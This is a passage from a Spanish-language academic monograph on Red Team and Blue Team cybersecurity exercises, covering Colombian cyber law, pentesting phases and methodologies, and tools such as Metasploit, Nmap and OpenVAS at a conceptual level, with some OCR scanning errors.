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GLOSARIO

CIBERATAQUE: Intento deliberado de un ciberdelincuente de obtener acceso a un
sistema informatico sin autorizacion sirviéndose de diferentes técnicas vy
vulnerabilidades para la realizacion de actividades con fines maliciosos, como el
robo de informacion, extorsion del propietario o simplemente dafios al sistema’.

BAITING: se trata de una técnica de ingenieria social. El ciber criminal deja un cebo
(baiting, en inglés) en forma dispositivo de almacenamiento (CD, USB...). Este cebo
esta infectado con un malware, y suele ser “olvidado” en un lugar publico
(ascensores, bafios...), con el fin de que se encuentre facilmente. Sila victima abre
ese dispositivo desde su ordenador, el software malicioso se instalara y el hacker
podra acceder asi a los datos personales del usuario?.

CIBERSEGURIDAD: se trata del conjunto de herramientas, protocolos de
seguridad, planes de prevencidn y seguros, entre otras acciones, que se utilizan
para proteger los activos de informacion de empresas o gobiernos con el fin de evitar
un ciberataque.

ATAQUES DE DENEGACION DE SERVICIO O DDOS): este tipo de irrupcion
informatica conocida como ataque DDoS o de denegacién de servicio provoca que
un determinado servicio o documento deje de estar disponible para usuarios que,
hasta entonces, podian acceder a él sin ningun problema.

INCIDENTE DE SEGURIDAD: cualquier suceso que afecte a la confidencialidad,
integridad o disponibilidad de los activos de informacién de la empresa, por ejemplo:
acceso o intento de acceso a los sistemas, uso, divulgacion, modificacion o
destruccion no autorizada de informacion.

INTRUSION: accién provocada por un atacante o usuario malintencionado, que se
aprovecha de una vulnerabilidad en el sistema para conseguir acceder a un area o
dispositivo sin autorizacion con el objetivo de realizar actividades ilegitimas.

" ENEBA. Glosario de términos de ciberseguridad. ENEBA [pagina web]. (18, mayo, 2022).
[Consultado el 30, junio, 2022]. Disponible en:
https://www.incibe.es/sites/default/files/contenidos/guias/doc/guia_glosario_ciberseguridad_2021.p
df.

2WTW UPDATE. Diccionario de ciberriesgo: conoce todos los términos. WTW Update [pagina web].
[Consultado el 1, junio, 2022]. Disponible en:
https://willistowerswatsonupdate.es/ciberseguridad/diccionario-del-ciber-riesgo-de-la-a-a-la-z/.
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INGENIERIA SOCIAL: conjunto de técnicas que los delincuentes usan para
engafar a los usuarios de sistemas/servicios TIC para que les faciliten datos que
les aporten valor, ya sean credenciales, informacion sobre los sistemas, servicios
instalados etc.

PHISHING: técnica o tipo de ataque en el que alguien suplanta a una
entidad/servicio mediante un correo electronico o mensaje instantaneo para
conseguir las credenciales o informacion de la tarjeta de crédito de un usuario. Ese
correo/mensaje suele tener un enlace (o fichero que contiene ese enlace) a un sitio
web que suplanta al legitimo y que usan para enganarlo.

WHALING: es un tipo de ataque de phishing en el que se suelen emplear correos
electronicos fraudulentos dirigidos a ejecutivos o gerentes3.

FOOTPRINTING: es una técnica practica de reconocimiento que se utiliza para
intentar recabar toda la informacion publica posible sobre una empresa. Dicha
informacion ha podido ser publicada conscientemente por la empresa a auditar o
puede haberse publicado de manera desconocida“.

3 FERNANDEZ, MANUEL. Ingenieria Social: ; Qué es el whaling? Mailfence Blog [pagina web]. (27,
febrero, 2022). [Consultado el 1, junio, 2022]. Disponible en:
https://blog.mailfence.com/es/ingenieria-social-que-es-un-ataque-de-whaling/.

4 TENBIHI, Mouad. FOOTPRINTING. Atalanta [pagina web]. [Consultado el 8, julio, 2022]. Disponible
en: https://atalantago.com/footprinting/.
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RESUMEN

Este trabajo se enfoca en el estudio de la importancia de los equipos de
ciberseguridad Red Team Y Blue Team, que se inspiran en lo militar para simular
batallas entre 2 equipos, donde el equipo rojo se encarga del ataque y el azul de la
defensa, en el mundo informatico, se usa como técnica de evaluacion y auditoria de
la ciberseguridad, utilizando ataques en ambientes que simulan la vida real, para
poner a prueba la capacidad de ciberdefensa en la organizacién, identificando

puntos débiles a mejorar.

El Red Team esta conformado por personal experto en busqueda y explotacion de

fallas a nivel tecnolégico, pero bajo una ética profesional,

se conforman por profesionales de ciberseguridad expertos en atacar sistemas y

romper defensas (hackers éticos).

Se conoceran las metodologias que utilizan los equipos expertos de ciberseguridad
altamente capacitados Red Team cuando realizan los ataques planeados
aprovechando las vulnerabilidades encontradas en la infraestructura tecnolégica de
la organizacion, ataque que va dirigido a la seguridad de la informacién; el activo

mas valioso que tiene las organizaciones.



INTRODUCCION

Evaluar vulnerabilidades propias es una practica muy antigua que se usa en la
estrategia militar, y esto llevado en el ambito de la ciberseguridad, ha creado un

sistema de técnicas de testeo, mediante una guerra simulada entre dos grupos.

Este ejercicio es motivado, en gran medida, a que, con la digitalizacion y la
globalizacion de la informacion, los enemigos de las organizaciones y empresas han
crecido y los avances tecnolégicos han aumentado las vias de ataque, en una
guerra sin fin donde igualmente hay espionaje, secuestro, eliminacion, robo,
vulneracion, claro que no estamos hablando de las guerras antiguas donde la lucha
era por el poder o por terrenos, hoy en dia la batalla es por lo mas valioso que tiene

una empresa, la informacién.

Por este motivo las empresas, deben fortalecer su defensa tecnologica, con
conocimiento en ciberseguridad, para implementar una metodologia para asi

fortalecer la proteccién de la informacion.
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1 OBJETIVOS

1.1 OBJETIVO GENERAL

Analizar las capacidades técnicas, legales y de gestion para equipos Blue Team y
Red Team

1.2 OBJETIVOS ESPECIFICOS

Recopilar informacion referente a los equipos Blue Team y Red Team, técnicas y
legislacién mediante consultas literarias

Determinar dispositivos, metodologias de pentesting, para las pruebas de seguridad
de las organizaciones

Generar recomendaciones y buenas practicas de seguridad de la informacién para
las organizaciones

11



2 MARGEN LEGAL EN COLOMBIA SOBRE DELITOS INFORMATICOS Y
PROTECCION DE DATOS EN COLOMBIA

21 LEY 1273 DE 2009

Frente a la proteccion penal tenemos la ley 1273 del 5 de enero de 2009°, conocida
como la Ley de delitos informaticos, que complementa ciertos tipos penales que
estan relacionados con la proteccion de datos y los delitos informaticos, lo que se
pretende con este articulo es que se sancione toda infraccién que se cometa contra
los sistemas informaticos y sus redes sin importar si sea de orden privado o publico.

La ley 1273 de 2009 consta de 2 capitulos como adicion al codigo penal, con un
titulo denominado “De la proteccion de la informacion y de los datos”. En el primer
capitulo se habla de los atentados contra la triada de la seguridad de la informacion,
como lo es la confidencialidad, la integridad y la disponibilidad. Ya en el segundo
capitulo de esta ley que consta de 2 articulos hace referencia a los atentados
informaticos y otras infracciones, el primer articulo habla del hurto por medios
informaticos y semejantes, se refiere a la transferencia no consentida de activos.

2.2 LEY 1581 DE 2012

La ley 1581 de 2012, tiene como objeto, desarrollar el derecho constitucional que
tienen todas las personas a conocer, actualizar y rectificar las informaciones que se
hayan recogido sobre ellas en bases de datos o archivos®, creada con el fin de que
se garantice la proteccion el almacenamiento y el buen uso de los datos personales.
cuando se habla de datos personales estos se refieren a toda aquella informacién
que esta asociada a una persona por lo cual permite su identificacion, entre algunos
ejemplos de estos datos personales se tiene el numero de documento de identidad,
su lugar de nacimiento, su estado civil, su RH, edad, experiencia laboral, etcétera.

Los datos personales que estén almacenados en cualquier base de datos que se
estén utilizando en la realizacidn de tramites u operaciones en entidades publicas o

5 COLOMBIA. CONGRESO DE LA REPUBLICA. Ley 1273. (05, enero, 2009) Por medio de la cual
se modifica el Codigo Penal, se crea un nuevo bien juridico tutelado - denominado “de la proteccion
de la informacion y de los datos™ y se preservan integralmente los sistemas que utilicen las
tecnologias de la informacién y las comunicaciones, entre otras disposiciones. Ultima actualizacion:
21 de junio de 2022

6 COLOMBIA. CONGRESO DE LA REPUBLICA. Ley estatutaria 1581. (17, octubre, 2012) Por la
cual se dictan disposiciones generales para la proteccion de datos personales.
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privadas, deben ser protegidos en especial los datos que pertenecen a la vida
privada y familiar por la cual ninguna persona o el mismo estado puede interferir,
esta ley obliga a entidades publicas y empresas privadas a que mejoren las politicas
de manejo de informacion siempre buscando que se salvaguarde los datos de los
usuarios, por eso deben estar en constante revision los datos personales contenidos
en sus bases de datos, y buscar que se mejoren los procesos para la recoleccion
coma el almacenamiento, el uso, y el tratamiento, esto para que se mejore la
administracion de estos datos y que se protejan los derechos y la intimidad del
dueno de los datos personales.

2.2.1 Decreto 1377 de 2013 Este decreto es una regulacion extensa y completa
de la ley 1581 de 2012, y tiene como fin “reglamentar aspectos relacionados con la
autorizacion del Titular de informacion para el Tratamiento de sus datos personales,
las politicas de Tratamiento de los responsables y Encargados, el ejercicio de los
derechos de los Titulares de informacion, las transferencias de datos personales y
la responsabilidad demostrada frente al Tratamiento de datos personales™.

7 COLOMBIA. CONGRESO DE LA REPUBLICA. DECRETO 1377 DE 2013. (27, junio, 2013) Por el
cual se reglamenta parcialmente la Ley 1581 de 2012.
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3 ¢QUE ES UN RED TEAM?

Se trata de un equipo que juega a la ofensiva, y esta constituido por profesionales
en ciberseguridad que atacan a propdsito una organizacidén, pero de manera
controlada, ataque que busca rapidamente se mejoren sus capas defensivas, frente
a ataques realmente maliciosos. Para lograr esto, el Red Team finge ser un grupo
externo que reta a la organizacion, ya sea una institucion o una empresa.

No vienen hacer dafio, al contrario, buscan apoyar en la tarea de contribuir a que
las capas de defensa de la organizacion estén optimas y permanentemente
fortalecidas. Esto conlleva a las organizaciones que se optimice su capacidad
defensiva al enfrentarse a ciberataques del mundo real.

3.1 CARACTERISTICAS DE UN RED TEAM

En cuanto a la duracion: las acciones de un Red Team, no son medibles, porque se
forman de una serie de ejercicios que se pueden extender con el tiempo, y son
conformados por varias fases.

Por eso este servicio que presta un Red Team no se realiza de un dia a otro, sino
que se requiere una labor de investigacidon minuciosa, para disefar los escenarios
para el ataque, ya planificados los ataques se ponen en marcha, paralelamente se
recoge informacion util para las demas actividades que a realizar a lo largo del
ejercicio.

Los vectores de intrusion: Durante los ataques se emplean de diversas formas de
intrusion que como en el mundo real un ciberdelincuente puede ejecutar sus
ataques de multiples formas. Estos vectores de intrusion se pueden ejecutar en
accesos fisicos, técnicas de ingeniera social (como el Phishing, Baiting, Whaling,
etc.), sobre las aplicaciones usadas por la organizacion, sobre la red. Las capas
defensivas de la organizacion pueden ser vulneradas por distintos frentes o peor
aun, ataques multiples a la vez. Esto es fundamental para el Red Team, que no se
deje de aprovechar todos los vectores diferentes de intrusion.

Actuar como enemigo: El Red Team aunque tiene como objetivo ayudar en el
fortalecimiento de la ciberseguridad en la organizacién, debe actuar como un
atacante real, usando sus mismas técnicas, tacticas y procedimientos (de aqui en
adelante TTPs), incluyendo la navaja suiza de herramientas que usaria el
delincuente; para esto se debe estar a la par con las innovaciones tecnologicas y
mas en lo concerniente con las TTPs del mundo de los ciberdelincuentes. El
encubrimiento es algo que es vital para el delincuente, evitando ser descubierto, sin
dejar huellas de su ataque.
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El diseno de escenarios: El Red Team reconoce que la dificultad no esta en el
ataque, si no en el disefio de los escenarios, para este se basan en el modelo de
defensa 8Cyber Kill Chain, desarrollado por Lookheed Martin, derivado del mundo
militar, que explica el procedimiento que siguen los ciberdelincuentes para
completar un ataque.

FIGURA 1. 7 pasos de Cyber Kill Chain

I ] I
| I 1
L 1 L 1 oA i
1 1 1
| 1 1

Preparacion Explotacion Gomndy
v Control
L & i i
Reconocimiento DisrbutiGH isialaess Acciones sobre
el objetivo

Pues la necesidad de la simulacion de ataques debe ser lo mas realista posible y
no solo el actuar como un ciberdelincuente. Y la clave para esto es una buena
recoleccion de informacion, donde el Red Team ejecuta una investigacién compleja
y minuciosa a la organizacion como lo es a su personal, sus procesos Yy tecnologia.

Reporte permanente: Aunque en la organizacion el equipo encargado de la defensa
(Blue Team) no debe conocer el andar del Red Team, dentro de la entidad existe
un grupo que si conoce toda la informacion en tiempo real sobre descubrimientos
hecho y las vulnerabilidades encontradas

8 VARGAS, Sergio. Entendiendo la Cyber Kill Chain. Intelligent Networks [pagina
web]. (5, abril, 2021). [Consultado el 28, marzo, 2023]. Disponible en: https://i-
networks.com.mx/entendiendo-la-cyber-kill-chain/
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3.2 PRUEBAS DE INTRUSION DE LOS RED TEAM

En el ejercicio de intrusion realizado por el Red Team, Se busca dar alcance la
combinacién de la seguridad fisica, légica y social, evaluando la empresa a nivel
ciberdefensa, Como puede ser un ataque dirigido (APT). Por este motivo se conoce
que es un servicio con altos estandares. aplicado todos los ambitos comprometidos
en la seguridad de la informacién, como lo son las instalaciones fisicas, el andamiaje
tecnologico y las personas de la empresa. Esto conlleva que las empresas tengan
una actitud proactiva en la defensa de su activo mas valioso.

Todo este compilado de ejercicios que realiza un equipo Red Team, Se considera
a nivel mundial un servicio eficaz y avanzado contra los ataques dirigidos.

Es un servicio que agrupa los demas servicios de intrusién, que normalmente son
ofrecidos individualmente, aunque su objetivo va mucho mas alla, porque no es solo
la aplicacion individualizada de cada prueba de intrusion, sino que cada hallazgo
encontrado por las distintas pruebas sea aprovechado. Por ejemplo, una
vulnerabilidad encontrada en un servicio del servidor de administracion de cuentas
de usuarios, Podra convertirse en una puerta trasera, En el cual se aplique otro tipo
de prueba.

Al ser un servicio muy especializado se requiere que este grupo estoy conformado
por expertos multidisciplinarios para que cada uno haga su aporte en su area. Antes
de realizar los ejercicios de instruccion es importante obtener informacion de
inteligencia, para una alta probabilidad de éxito. Por esto se requiere que cada
profesional que conforma el equipo tenga muy buena experiencia en los servicios
que son aplicados en la seguridad de la informacion, siendo un servicio eficiente
que cumple de manera cabal las exigencias de ciberseguridad del cliente.

9 CALLES GARCIA, JUAN ANTONIO y LEON, DIEGO. El Red Team en la empresa. Dialnet [pagina
web]. (2018). [Consultado el 26,  junio, 2022]. Disponible en Internet:
<https://dialnet.unirioja.es/servlet/articulo?codigo=6667240>.
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4 ;QUE ES UN BLUE TEAM?

Esta conformado por profesionales en ciberseguridad que tienen una perspectiva
interna de la organizacion. Su labor es la proteccion de los activos criticos de la
misma contra cualquier tipo de ataque o amenaza de una manera proactiva.

Si la organizacion cuenta con un centro de operaciones de seguridad (SOC)
dedicado, este personal puede hacer del equipo bueno el Blue Team, y si no se
cuenta con este servicio, se puede usar el equipo de seguridad interna como el
departamento de Tecnologias de la informacion (de aqui en adelante TI) de la
organizacion.

41 CARACTERISTICAS DE UN BLUE TEAM

El equipo Blue Team reune informacion y documenta lo que se debe proteger en la
organizacion, ademas hace una evaluacion de los riesgos en la infraestructura de
las TI, refuerzan los accesos al sistema de muchas formas, como la aplicacion de
politicas estrictas en el establecimiento de contrasefias obligando el uso de
caracteres, Mayusculas y numeros, ensefiando al personal de la organizacion a que
se ajusten a los procedimientos en cuestion de la seguridad.

Usualmente se establecen sistemas de monitoreo y vigilancia, para registrar
informacion relacionada al acceso en los sistemas y comprobar actividades
anormales. Los Blue Team comprueban periodicamente el sistema, por ejemplo,
auditando el sistema de nombres de dominio (DNS), explorando vulnerabilidades
de la red interna o externa y capturando muestras de trafico en la red, para su
posterior analisis.

Los Blue Team establecen medidas de seguridad en lo que respecta a los activos
vitales de la organizacion. Ejecutan su defensa con la identificacion de los activos
criticos, documentando su importancia para el negocio y el impacto que tendra la
ausencia de estos.

Seguidamente, evaluan riesgos para identificar amenazas que pueda tener cada
activo junto con las debilidades que se pueden explotar. De esta evaluacién de
riesgos y su posterior priorizacion, los Blue Team disefian un plan de accion para
implementar controles, que funcionen como reductores de impacto en los ataques,
0 que la probabilidad de una amenaza contra los activos tenga éxito.
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En esta fase es importante que el personal directivo participe, pues son ellos
quienes deciden la aplicacién del control de mitigacion, o aceptar el riesgo. Mediante
un analisis de costo/beneficio se basa la seleccion de los controles, garantizando
que estos controles de seguridad implantados aporten valor a la organizacién.

Por ejemplo, el Blue Team identifica que la red de la empresa es vulnerable a un
ataque de DDoS (denegacion de servicio distribuido), limitando la disponibilidad de
la red, pues este ataque se basa en solicitudes de trafico incompletas al servidor,
ocasionando un gran consumo de recursos, paralizando gravemente la red.

El Blue Team mediante un analisis de costo/beneficio y alineandose con los
objetivos de negocio, hace el calculo de la pérdida en caso de que se materializara
la amenaza, y se pondria a consideracion instalar un sistema de deteccion vy
prevencion de intrusos, para minimizar el riesgo de ataques DDoS.
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5 BENEFICIOS DE LOS RED TEAM Y BLUE TEAM

La implementacion de una estrategia compuesta entre estos 2 equipos permite que
la organizacion se beneficie del enfoque y habilidades de cada grupo, y al haber
competitividad los equipos daran su maximo rendimiento al probar las defensas y
capacidades de la estructura T| de la organizacion en entornos controlados.

Segun la web de Crowdstrike'®, al involucrar a estos dos grupos, es posible
evolucionar continuamente la estrategia de seguridad de la organizacién en funcién
de las debilidades y vulnerabilidades unicas de la empresa, asi como las ultimas
técnicas de ataque del mundo real.

Mientras los Red Team hacen busquedas minuciosas para identificar
vulnerabilidades, y usando las ultimas técnicas de ataque del mundo real, los Blue
Team ofrecen seguridad a largo plazo, fortaleciendo las defensas, supervisando
constantemente el sistema para la mejora continua de la seguridad de la
organizacion, al encontrar brechas que seran contrarrestadas con controles
apropiados

Mediante los ejercicios de los Red Team y Blue Team se logra:

e |dentificar que configuracion estd mal implementada y las vulnerabilidades
de los productos de seguridad Tl de la organizacion.

e Fortificar la seguridad de la red identificando rapidamente ataques dirigidos

e Fomentar conciencia para que el personal de la organizacién no sea una
vulnerabilidad humana, medio por el cual se pueda comprometer la
seguridad de la organizacion.

e Desarrollar las habilidades y la madurez de las capacidades de seguridad de
la organizacién dentro de un entorno de capacitacion seguro y de bajo riesgo.

10 CROWDSTRIKE. Red team VS blue team: what's the difference? | crowdstrike. crowdstrike.com
[pagina web]. (6, enero, 2022). [Consultado el 29, marzo, 2023]. Disponible en Internet:
<https://www.crowdstrike.com/cybersecurity-101/red-team-vs-blue-team/>.
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6 ¢QUE ES PENTESTING?

La NIST™ lo define como, pruebas de seguridad en las que los evaluadores imitan ataques
del mundo real en un intento de identificar formas de eludir las caracteristicas de seguridad
de una aplicacion, sistema o red.

Segun mis palabras, es el ejercicio en el cual se usan pruebas de penetracion para
atacar sistemas tecnoldgicos como redes, sistemas operativos, aplicaciones web,
servidores, con la intencién de descubrir vulnerabilidades u otros fallos de
seguridad, para asi poder prevenir ataques y establecer nuevos controles, para un
buen ejercicio de pentesting se realiza los siguientes pasos:

6.1 PLANIFICACION Y PREPARACION

En este primer paso se debe definir los objetivos y determinar el alcance de este, pues es
la base para conseguir 6ptimos resultados del ejercicio.

- Se establecera qué tipo de prueba se realizara, si sera interno: simulando el ataque
desde adentro de la organizacion, o un ataque con colaboracion de alguien dentro
de la organizacién. O sera externo: simulando ataques por organizacion o
ciberdelincuentes.

- Se decidira si se informara al equipo de seguridad de la organizacién acerca de la
realizacion de la prueba, o si este se realizara de incognito para comprobar la
efectividad del equipo.

- Se determinara que datos de la organizacidn se podran compartir para la prueba

- Se definira con que agresividad se realizara la prueba, respetando limites impuestos
para no causar dafios a la organizacion.

En este paso se recurre a seleccionar alguna de los 3 tipos de auditoria que existen, como
lo es, Caja Negra que simula ataque real, Caja Blanca con la cual se tiene informacion
basica dada por el mismo objetivo, o la caja gris siendo esta una combinacién entre los 2
primeros.

" NATIONAL INSTITUTE OF STANDARDS AND TECHNOLOGY. NIST SP 800-115 NIST - technical
guide to information security testing and assessment recommendations, 2008. 80 p.
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6.2 INVESTIGACION

Ya establecido el paso anterior con la organizacion, el equipo pentesting empieza su
trabajo, realizando diferentes actividades de reconocimiento de su objetivo, por ejemplo, en
lo técnico se usan herramientas de escaneo de redes para obtener el direccionamiento IP
y sus subredes, datos de firewall, y servicios activos, a nivel de las personas, se obtiene
datos basicos, como nombres, cargos, y direccion de correo electrénico, esta informacion
permitira quien o quienes por ejemplo tienen usuarios con privilegios (tipo administrador) y
lanzar asi ataques de ingenieria social tipo phishing, para obtener estos usuarios y
contrasefas.

Igualmente se buscara el mayor numero de vulnerabilidades del sistema, este
procedimiento llamado footprinting, por el cual se busca la recopilacién de toda la
informacion posible de los sistemas y las redes de la organizacién, intentando no alarmar
al personal de seguridad, esto se logran mediante escaneo automatizado, Aqui se utilizaran
herramientas como lo es Nmap, y Open Vas entre otras.

6.3 PRUEBAS DE PENETRACION Y EXPLOTACION

Ya con la informacién recabada del objetivo, el equipo pentesting entra en modo
penetracién y explotacion, usando los puntos de entrada descubiertos, poniendo a prueba
las vulnerabilidades detectadas. Intentando el ingreso al sistema por estas entradas, una
vez conseguido se buscara el modo de escalar privilegios de acceso, abriendo camino para
otras actividades. Al lograr obtener privilegios tipo administrador podran encontrar mas
fallas de seguridad en otras areas y recursos, como posibles configuraciones deficientes,
informacion sensible compartida de manera errénea, o controles insuficientes en la gestion
de usuarios y contrasenas.

Igualmente, se pondran a prueba otros entornos, vulnerables a ataques, como
camaras de seguridad, dispositivos loT, dispositivos moviles, aplicaciones web, etc.

Aqui una de las herramientas mas usadas para la explotacion es el framework
Metasploit.
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Segun Cardwell'? en el tema “Myths and misconceptions about pentesting”, expresa
que en esta etapa algunas de las organizaciones piden detener la prueba de
pentesting pues al informarles que se ejecuta cédigo exploit a las vulnerabilidades
encontradas se sorprende, pues la mayoria de ellos en realidad quieren solo una
evaluacion de vulnerabilidades.

6.4 ANALISIS Y GENERACION DE REPORTES

El equipo pentesting debera realizar el registro de las actividades de los pasos
investigacion y explotacion, para crear un reporte detallado de las técnicas utilizadas para
penetrar el sistema, que brechas de seguridad fueron detectadas y la demas informacién
importante descubierta, para analizar que se debe mejorar y que controles se deben
aplicar, organizando prioridades que se deben subsanar rapidamente y ofrecer medidas
de correccion.

Mediante el uso de las herramientas que se usan en el segundo y tercer paso, se
generaran los reportes detallados de lo encontrado y explotado.

6.5 LIMPIEZA Y REMEDIACION

Aqui se limpiaran las huellas dejadas durante el ataque al sistema para evitar, que
cualquier herramienta no eliminada, pueda usarse en futuros ataques reales.

La organizacion implementara correcciones en las vulnerabilidades encontradas
segun su prioridad, reforzando controles de proteccion en las areas mas
vulnerables, cambio o compra de nuevas soluciones para la ciberseguridad.

Aqui mediante el uso de comandos en una terminal Linux o MS-DOS Microsoft, se
eliminaran logs y rastros de las herramientas usadas durante el pentesting.

6.6 METODOLOGIAS DE PENTESTING O ETHICAL HACKING

En el Hacking Etico existen diversas metodologias aplicadas a diferentes areas de
la informatica, listadas a continuacion.

2 CARDWELL, Kevin. Building virtual pentesting labs for advanced penetration testing - second
edition. [s.l.]: Packt Publishing - ebooks Account, 2016. 524 p. ISBN 9781785883491.
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6.6.1 OSSTMM (Open-Source Security Testing Methodology Manual)'® Esta
metodologia fue realizada por el ISECOM (Institute for Security and Open
Metholodiges) quien publicé la version 3 del OSSTMM (Open Source Security
Testing Methodology) en diciembre de 2010. Es una metodologia para prueba
exhaustiva y medicion precisa de la seguridad a nivel operacional, al ser una
metodologia abierta, permite a que profesionales en pruebas de seguridad
compartan ideas precisas y eficientes. Esta nueva version cubre todos los canales
en su totalidad, humanos, fisicos, Wi-Fi, telecomunicaciones y de redes de datos'.

6.6.2 ISSAF (Information Systems Security Assessment Framework)'5. Esta
metodologia dejo de ser actualizada y soportada, fue creada por la OISSG (Open
Information System Security Group) pero no por esto se ha dejado de usar, su punto
fuerte es que vincula diferentes pasos del proceso de pentesting con herramientas
relevantes.

Su objetivo era ser una guia completa para realizar pentesting, aunque no se
encuentra actualizada esta es una buena base para desarrollar una metodologia
personalizada, pues hace recomendaciones sobre las herramientas a utilizar en
cada paso y los resultados esperados. Incluso recomienda herramientas utilizadas
por atacantes reales para ayudar a simular escenarios de ataques avanzados en
algunos casos.

ISSAF divide el proceso de pentesting en tres fases:

- Planificacién y preparacion
- Evaluacion
- Informe, limpieza y eliminacién de huellas

6.6.3 OWASP (Open Web Application Security Project). El proyecto Web
Security Testing Guide (WSTG) esta guia es un recurso de pruebas de
ciberseguridad para desarrolladores de aplicaciones web y profesionales de la
seguridad.

8 ISECOM. OSSTMM Version 3. (diciembre, 2010). [Consultado el 8, julio, 2022]. Disponible
en: https://www.isecom.org/OSSTMM.3.pdf.

4 CIBERSEG1922. ;Qué es OSSTMM? Definicidn, historia y caracteristicas. Ciberseguridad
[pagina web]. (24, enero, 2020). [Consultado el 8, julio, 2022]. Disponible en:
https://ciberseguridad.com/guias/desarrollo-seguro/osstmm/.

5 FUTURELEARN. Information System Security Assessment Framework (ISSAF). FutureLearn

[pagina web]. (2006). [Consultado el 8, julio, 2022]. Disponible en:
https://www.futurelearn.com/info/courses/ethical-hacking-an-introduction/0/steps/71521.
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El WSTG es una guia completa para realizar pentesting a la seguridad de las
aplicaciones web y los servicios web. Creado por los esfuerzos de colaboracion de
profesionales de la seguridad cibernética y la comunidad, el WSTG proporciona un
marco de mejores practicas utilizado por evaluadores de penetracion y
organizaciones de todo el mundo’®.

El OWASP Top 10 es un informe que contiene un listado de los problemas de
seguridad de las aplicaciones web organizados segun su nivel de criticidad.

* A1: Inyeccion

A2: Pérdida de autenticacion y gestion de sesiones
A3: Datos sensibles accesibles

A4: Entidad externa de XML (XXE)

A5: Control de acceso inseguro

A6: Configuracion de seguridad incorrecta

A7: Cross site scripting (XSS)

A8: Decodificaciéon insegura

A9: Componentes con vulnerabilidades

A10: Insuficiente monitorizacion y registro

6.6.4 NIST SP 800-115 es una guia que contiene aspectos técnicos basicos para
la realizacion de evaluaciones de seguridad de la informacion. Presenta métodos,
técnicas de prueba y examen técnico que una organizacion podria usar como parte
de una evaluacion, y ofrece informacion a los pentester sobre su ejecucion y el
impacto potencial que pueden tener en los sistemas y redes, estas pruebas con las
cuales el personal evaluador, simular ataques reales, en busqueda de
vulnerabilidades que permitan evadir la seguridad de un programa, sistema o red
de datos. Estas pruebas de intrusion seran utilizadas para determinar:

» Como el sistema afronta el patréon de ataques del mundo real

* Que sofisticacion necesita el atacante para comprometer el sistema

* Qué medidas se deben adicionar para mitigar las amenazas.

* Que habilidad para detectar ataques y responder correctamente a los ataques
tienen el personal defensor.

16 OWASP FOUNDATION. OWASP Web Security Testing Guide. OWASP Foundation, the Open
Source Foundation for Application Security | OWASP Foundation [pagina web]. [Consultado el 8,
julio, 2022]. Disponible en: https://owasp.org/www-project-web-security-testing-guide/.
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Las fases de esta metodologia se desarrollan en 4 fases

Fase de Planificacion: identificacion de reglas a seguir, determinacion de objetivos
y aprobaciones necesarias, sentando la base para la prueba de penetracion, aqui
no se realizan pruebas reales.

Fase de Descubrimiento: en su primera parte se inician los ataques reales,
escaneando y recopilando informacién de la red de datos, se usa ingeniera social
también. en la segunda parte analizan las vulnerabilidades de aplicaciones,
servicios y sistemas operativos descubiertos en bases de datos de vulnerabilidades
publicas y propias que puede tener la empresa.

Fase de Ataque: es la principal fase pues aqui se comprueban las vulnerabilidades
encontradas, si el ataque tiene éxito se verifica y documenta la vulnerabilidad y su
debida mitigacion.

Fase de Reporte: va en paralelo con las otras 3 fases, en la fase de Planificacion
crea el plan de evaluacion, en la fase de Descubrimiento y ataque se mantienen
registros e informe, al final de la prueba se genera un informe describiendo las
vulnerabilidades encontradas, se da una calificacion de riesgo y orienta el cémo
mitigar las debilidades encontradas'’.

" HENRYRAUL. Metodologia de Pruebas de Intrusion en la NIST SP 800-115. Behique Digital
[pagina web]. (10, mayo, 2017). [Consultado el 1, abril, 2022]. Disponible en:
https://henryraul.wordpress.com/2017/05/10/metodologia-de-pruebas-de-intrusion-en-la-nist-sp-
800-115/.
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6.6.5 OWISAM (Open Wireless Security Assessment Methodology) Esta
metodologia es creada para subsanar una necesidad, que és el pentesting en las
redes inalambricas, propone a la comunidad controles de seguridad que deben ser
verificados sobre este tipo de redes, definiendo una metodologia abierta y
colaborativa, ayudando asi administradores de redes, a administradores de
sistemas, y analistas de seguridad informatica en la identificacion de riesgos para si
minimizar el impacto de los ataques y que se garantice la proteccion de las
infraestructuras Wireless basadas en el estandar 802.11%8.

8 OWISAM. Metodologia OWISAM. (18, marzo, 2018). [Consultado el 11, julio, 2022]. Disponible en:
https://www.owisam.org/index.php?title=Pagina_principal.
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7 HERRAMIENTAS Y SERVICIOS EN LINEA DE CIBERSEGURIDAD
UTILIZADOS POR LOS EQUIPOS RED TEAM Y BLUE TEAM

A continuacién, se hablaran de algunas herramientas que son de vital importancia
en el mundo de la ciberseguridad entre estas tenemos:

7.1 METASPLOIT FRAMEWORK

Este es un marco de prueba utilizado por personal profesional en seguridad de la
informacion e igualmente por ciberdelincuentes, es un marco de codigo abierto que
esta basado en Ruby, y tiene como uso la explotacion y validacion de
vulnerabilidades encontradas en un sistema.

Al estar basado en Ruby Con este framework, se puede escribir probar y ejecutar
diferentes codigos de explotacion, consta de un conjunto de herramientas con los
cuales se pueden utilizar para probar vulnerabilidades de seguridad, enumerar
redes, ejecutar ataques y evadir la deteccion.

Segun la pagina web de ciberseguridad.com'®, metasploit incluye mas de 1677
exploit que se organizan en 25 plataformas coma en las cuales se incluyen Android,
PHP, Python, Java, Cisco y otras mas.

7.2 NMAP

Esta herramienta de auditoria tipo software de cddigo abierto se utiliza para el escaneo de
redes y puertos, para el control y seguridad de estos, usada mayormente desde sistemas
operativos tipo GNU/Linux.

Usado éticamente por auditores de Seguridad de la informacién, para realizar un escaneo
de puertos completo, detecta host activos, detecta que servicios se prestan en la red junto
con sus versiones, aunque no se limita a ser un simple escaner de puertos, puesto que
mediante la incorporacion de scripts puede detectar vulnerabilidades.

Este mapeador de redes utiliza diferentes tipos de escaneo:

9 CIBERSEG1922. ;Qué es Metasploit Framework y cémo funciona? | Ciberseguridad.
Ciberseguridad [pagina web]. (13, diciembre, 2021). [Consultado el 12, febrero, 2023]. Disponible en
Internet: <https://ciberseguridad.com/herramientas/pruebas-penetracion/metasploit-framework/>.
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Ping/ARP, el ping se utiliza para conocer hosts activos en la red, y ARP da informacién
mas especifica de estos hosts activos.

TCP Connect, realiza un escaneo de puertos, para determinar cuales estan abiertos o
cerrados.

Sondeo de Lista, con este se puede obtener, los nombres de los equipos que estan
conectados en la red.

FIN, para detectar si el host esta detras del Firewall

7.3 OPENVAS

Segun sus siglas (Open Vulnerability Assessment System — Sistema Abierto de
Evaluacion de Vulnerabilidades), es un framework que ofrece como base, servicios
y herramientas utilizadas en la evaluacion de vulnerabilidades que puede usarse de
forma individual o acompanado de otro conjunto de herramientas de seguridad, hoy
se puede utilizar a través de 2 interfaces bien sea mediante linea de comandos o
